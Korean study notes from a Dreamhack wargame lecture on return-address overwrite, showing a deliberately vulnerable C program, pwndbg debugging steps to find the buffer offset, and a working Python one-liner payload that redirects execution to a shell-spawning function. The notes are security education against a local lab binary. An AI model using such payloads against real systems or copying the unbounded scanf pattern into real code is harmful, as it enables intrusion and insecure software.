본 문서는 드림핵 커리큘럼 강의를 수강하고 요약한 문서입니다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
사실 여기서 보면 scanf 함수의 %s를 통해 입력길이 제한을 두지 않음을 볼 수 있다. 따라서 scanf의 %s 포맷 스트링은 절대로 사용하지 말아야 한다. 반드시 %[n]s 형태로 사용해야 한다. 그외에 길이 입력 없이 버퍼를 다루는 함수는 전부 위험하다. strcpy, strcat, sprintf가 있다. 대신 strncpy, strncat, snprintf, fgets, memcpy 등이 있다.
Segmentation fault란 에러는 잘못된 메모리 주소에 접근했다는 의미다.
core dumped는 코어파일을 생성했다는 것으로, 프로그램이 비정상 종료되었을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.
Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성한다.
$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400729 in main ()
...
pwndbg>
A*64를 입력하고 코드와 스택을 관찰하면 rsp에 0x4141414141414141('AAAAAAAA')가 저장됨을 알 수 있다.
먼저 버퍼의 위치를 조사해야한다.
pwndbg> nearpc
0x400706 call printf@plt
0x40070b lea rax, [rbp - 0x30]
0x40070f mov rsi, rax
0x400712 lea rdi, [rip + 0xab]
0x400719 mov eax, 0
► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt>
format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4: "%s"__isoc99_scanf
이로 미루어 보아 스택프레임 구조를 다음과 같이 추측할 수 있다.
입력 버퍼와 반환주소 사이에 0x38 만큼 거리가 있으므로 dummy로 채워보고 그 다음에 원하는 주소값을 넣어보자
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit
payload란 공격을 위해 프로그램에 전달하는 데이터를 의미한다.
구성한 페이로드가 적절한 엔디언을 적용해서 프로그램에 전달되어야 한다. x86-64는 리틀 엔디언을 사용한다.
파이썬으로 출력한 페이로드를 rao로 전달해보자.
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)